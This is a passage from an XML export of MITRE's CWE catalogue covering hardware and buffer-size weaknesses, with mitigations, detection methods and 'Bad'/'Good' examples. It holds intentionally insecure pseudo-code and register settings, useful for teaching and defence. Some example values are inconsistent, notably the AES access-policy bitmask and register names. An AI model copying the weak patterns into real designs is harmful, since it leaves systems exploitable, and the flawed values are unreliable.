				<xhtml:p>In a System-On-Chip (SoC), various integrated circuits and hardware engines generate transactions such as to access (reads/writes) assets or perform certain actions (e.g., reset, fetch, compute). A typical transaction is comprised of source identity (to identify the originator of the transaction) and a destination identity (to route the transaction to the respective entity) in addition to much more information in the message. Sometimes the transactions are qualified with a Security Identifier.  This Security Identifier helps the destination agent decide on the set of allowed or disallowed actions.</xhtml:p>
				<xhtml:p>A common weakness that can exist in such transaction schemes is that the source agent fails to include the necessary, security identifier with the transaction.  Because of the missing security identifier, the destination agent might drop the message, thus resulting in Denial-of-Service (DoS), or get confused in its attempt to execute the given action, which confusion could result in privilege escalation or a gain of unintended access.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1294" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Transaction details must be reviewed for design inconsistency and common weaknesses.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Security identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
						<xhtml:p>Consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers.  The key registers are assets, and the register AES_KEY_ACCESS_POLICY is defined to provide the necessary access controls.</xhtml:p>
						<xhtml:p>The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., "1") allows for a respective action from an agent whose identity matches the number of the bit; if set to "0" (i.e., Clear), it disallows the respective action to that corresponding agent.</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="Bad">
						<xhtml:table>
							<xhtml:tr>
								<xhtml:th>Register</xhtml:th>
								<xhtml:th>Field description</xhtml:th>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
								<xhtml:td>AES key [0:31] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
								<xhtml:td>AES key [32:63] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
								<xhtml:td>AES key [64:95] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_4</xhtml:td>
								<xhtml:td>AES key [96:127] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_KEY_ACCESS_POLICY</xhtml:td>
								<xhtml:td>[31:0] Default 0x00000004 - agent with Security Identifier "2" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_4 registers</xhtml:td>
							</xhtml:tr>
						</xhtml:table>
					</Example_Code>
					<Body_Text>The originator sends a transaction with no security identifier, i.e., meaning the value is "0" or NULL. The AES-Key-access register does not allow the necessary action and drops the transaction because the originator failed to include the required security identifier.</Body_Text>
					<Example_Code Nature="Good">
						<xhtml:table>
							<xhtml:tr>
								<xhtml:th>Register</xhtml:th>
								<xhtml:th>Field description</xhtml:th>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
								<xhtml:td>AES key [0:31] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
								<xhtml:td>AES key [32:63] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
								<xhtml:td>AES key [64:95] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_ENC_DEC_KEY_4</xhtml:td>
								<xhtml:td>AES key [96:127] for encryption or decryption, Default 0x00000000</xhtml:td>
							</xhtml:tr>
							<xhtml:tr>
								<xhtml:td>AES_KEY_ACCESS_POLICY</xhtml:td>
								<xhtml:td>[31:0] Default 0x00000002 - agent with security identifier "2" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_4 registers</xhtml:td>
							</xhtml:tr>
						</xhtml:table>
					</Example_Code>
					<Body_Text>The originator should send a transaction with Security Identifier "2" which will allow access to the AES-Key-access register and allow encryption and decryption operations.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="681"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-14</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1303" Name="Non-Transparent Sharing of Microarchitectural Resources" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.</Description>
			<Extended_Description>
				<xhtml:p>Modern processors use techniques such as out-of-order execution, speculation, prefetching, data forwarding, and caching to increase performance. Details about the implementation of these techniques are hidden from the programmer's view. This is problematic when the hardware implementation of these techniques results in resources being shared across supposedly isolated contexts. Contention for shared resources between different contexts opens covert channels that allow malicious programs executing in one context to recover information from another context.</xhtml:p>
				
				<xhtml:p>Some examples of shared micro-architectural resources that have been used to leak information between contexts are caches, branch prediction logic, and load or store buffers. Speculative and out-of-order execution provides an attacker with increased control over which data is leaked through the covert channel.</xhtml:p>
				
				<xhtml:p>If the extent of resource sharing between contexts in the design microarchitecture is undocumented, it is extremely difficult to ensure system assets are protected against disclosure.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="1189" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Application Data</Impact>
					<Impact>Read Memory</Impact>
					<Note>Microarchitectural side-channels have been used to leak specific information such as cryptographic keys, and Address Space Layout Randomization (ALSR) offsets as well as arbitrary memory.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Requirements</Phase>
					<Description>Microarchitectural covert channels can be addressed using a mixture of hardware and software mitigation techniques. These include partitioned caches, new barrier and flush instructions, and disabling high resolution performance counters and timers.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>On some processors the hardware indirect branch predictor is shared between execution contexts, for example, between sibling SMT threads. When SMT thread A executes an indirect branch to a target address X, this target may be temporarily stored by the indirect branch predictor. A subsequent indirect branch mis-prediction for SMT thread B could speculatively execute instructions at X (or at a location in B's address space that partially aliases X). Even though the processor rolls back the architectural effects of the mis-predicted indirect branch, the memory accesses alter data cache state, which is not rolled back after the indirect branch is resolved.</Intro_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="663"/>
         </Related_Attack_Patterns>
         <References>
	   <Reference External_Reference_ID="REF-1121"/>
	   <Reference External_Reference_ID="REF-1122"/>
	   <Reference External_Reference_ID="REF-1123"/>
	   <Reference External_Reference_ID="REF-1124"/>
	 </References>
	 <Notes>
           <Note Type="Maintenance">As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. Finally, this entry's demonstrative example might not be appropriate. As a result, this entry might change significantly in CWE 4.10.</Note>
	 </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-08</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1304" Name="Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>The product performs a power save/restore
            operation, but it does not ensure that the integrity of
            the configuration state is maintained and/or verified between
	    the beginning and ending of the operation.</Description>
			<Extended_Description>
                <xhtml:p>Before powering down, the Intellectual
                Property (IP) saves current state (S) to persistent
                storage such as flash or always-on memory in order to
                optimize the restore operation.  During this process,
                an attacker with access to the persistent storage may
                alter (S) to a configuration that could potentially
                modify privileges, disable protections, and/or cause
                damage to the hardware. If the IP does not validate
                the configuration state stored in persistent memory,
                upon regaining power or becoming operational again,
                the IP could be compromised through the activation of
                an unwanted/harmful configuration.
                </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="345" View_ID="1000"/>
				<Related_Weakness Nature="PeerOf" CWE_ID="1271" View_ID="1194"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
                    <Note>Weakness introduced via missing internal integrity guarantees during power save/restore</Note>
				</Introduction>
				<Introduction>
					<Phase>Integration</Phase>
					<Note>Weakness introduced via missing external integrity verification during power save/restore</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
                    <Impact>DoS: Instability</Impact>
                    <Impact>DoS: Crash, Exit, or Restart</Impact>
                    <Impact>DoS: Resource Consumption (Other)</Impact>
                    <Impact>Gain Privileges or Assume Identity</Impact>
                    <Impact>Bypass Protection Mechanism</Impact>
                    <Impact>Alter Execution Logic</Impact>
                    <Impact>Quality Degradation</Impact>
                    <Impact>Unexpected State</Impact>
                    <Impact>Reduce Maintainability</Impact>
                    <Impact>Reduce Performance</Impact>
                    <Impact>Reduce Reliability</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
                    <Description>Inside the IP, incorporate integrity checking
                        on the configuration state via a cryptographic
                        hash. The hash can be protected inside the IP such as
                        by storing it in internal registers which never lose
                        power. Before powering down, the IP performs a hash of
                        the configuration and saves it in these persistent
                        registers. Upon restore, the IP performs a hash of the
                        saved configuration and compares it with the
                        saved hash. If they do not match, then the IP should
                        not trust the configuration.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Integration</Phase>
                    <Description>Outside the IP, incorporate integrity checking
                        of the configuration state via a trusted agent. Before
                        powering down, the trusted agent performs a hash of the
                        configuration and saves the hash in persistent storage.
                        Upon restore, the IP requests the trusted agent
                        validate its current configuration. If the
                        configuration hash is invalid, then the IP should not
                        trust the configuration.
                    </Description>
				</Mitigation>
				<Mitigation>
					<Phase>Integration</Phase>
                    <Description>Outside the IP, incorporate a protected
                        environment that prevents undetected modification of
                        the configuration state by untrusted agents. Before
                        powering down, a trusted agent saves the IP's
                        configuration state in this protected location that
                        only it is privileged to. Upon restore, the trusted
                        agent loads the saved state into the IP.
                    </Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
                    <Intro_Text>The following pseudo code demonstrates the
                        power save/restore workflow which may lead to weakness
                        through a lack of validation of the config state after
                        restore.
                    </Intro_Text>
					<Example_Code Nature="Bad" Language="C">
						void save_config_state()<xhtml:br/>
						{<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
							void* cfg;<xhtml:br/>
							<xhtml:br/>
							cfg = get_config_state();<xhtml:br/>
							save_config_state(cfg);<xhtml:br/>
							<xhtml:br/>
							go_to_sleep();<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
						<xhtml:br/>
						void restore_config_state()<xhtml:br/>
						{<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
							void* cfg;<xhtml:br/>
							cfg = get_config_file();<xhtml:br/>
							load_config_file(cfg);<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
					</Example_Code>
					<Body_Text>The following pseudo-code is the proper workflow for the integrity checking mitigation:</Body_Text>
                    <Example_Code Nature="Good" Language="C">
						void save_config_state()<xhtml:br/>
						{<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
							void* cfg;<xhtml:br/>
							void* sha;<xhtml:br/>
							<xhtml:br/>
							cfg = get_config_state();<xhtml:br/>
							save_config_state(cfg);<xhtml:br/>
							<xhtml:br/>
							// save hash(cfg) to trusted location<xhtml:br/>
							sha = get_hash_of_config_state(cfg);<xhtml:br/>
							save_hash(sha); <xhtml:br/>
							<xhtml:br/>
							go_to_sleep();<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
						<xhtml:br/>
						void restore_config_state()<xhtml:br/>
						{<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
							void* cfg;<xhtml:br/>
							void* sha_1, sha_2;<xhtml:br/>
							<xhtml:br/>
							cfg = get_config_file();<xhtml:br/>
							// restore hash of config from trusted memory<xhtml:br/>
							sha_1 = get_persisted_sha_value();<xhtml:br/>
							<xhtml:br/>
							sha_2 = get_hash_of_config_state(cfg);<xhtml:br/>
							if (sha_1 != sha_2)<xhtml:br/>
							<xhtml:div style="margin-left:1em;">
								assert_error_and_halt();<xhtml:br/>
							</xhtml:div>
							<xhtml:br/>
							load_config_file(cfg);<xhtml:br/>
						</xhtml:div>
						}<xhtml:br/>
                    </Example_Code>
                    <Body_Text>It must be noted that in the previous example of
                        good pseudo code, the memory (where the hash of the
                        config state is stored) must be trustworthy while the
                        hardware is between the power save and restore states.
                    </Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Functional_Areas>
            	<Functional_Area>Power</Functional_Area>
         	</Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="176"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Organization>Accellera Systems Initiative</Submission_Organization>
					<Submission_Date>2020-07-16</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Functional_Areas</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="131" Name="Incorrect Calculation of Buffer Size" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Detection techniques for buffer-related errors are more mature than for most other weakness types.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-9">
               <Method>Manual Analysis</Method>
               <Description>Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.</Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-7">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source Code Quality Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&amp;" characters to "&amp;amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-36">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]</xhtml:p>
                  <xhtml:p>Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-8">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-13">
               <Phase>Implementation</Phase>
               <Description>Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use sizeof() on the appropriate data type to avoid CWE-467.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size.</xhtml:p>
                  <xhtml:p>Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
               <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
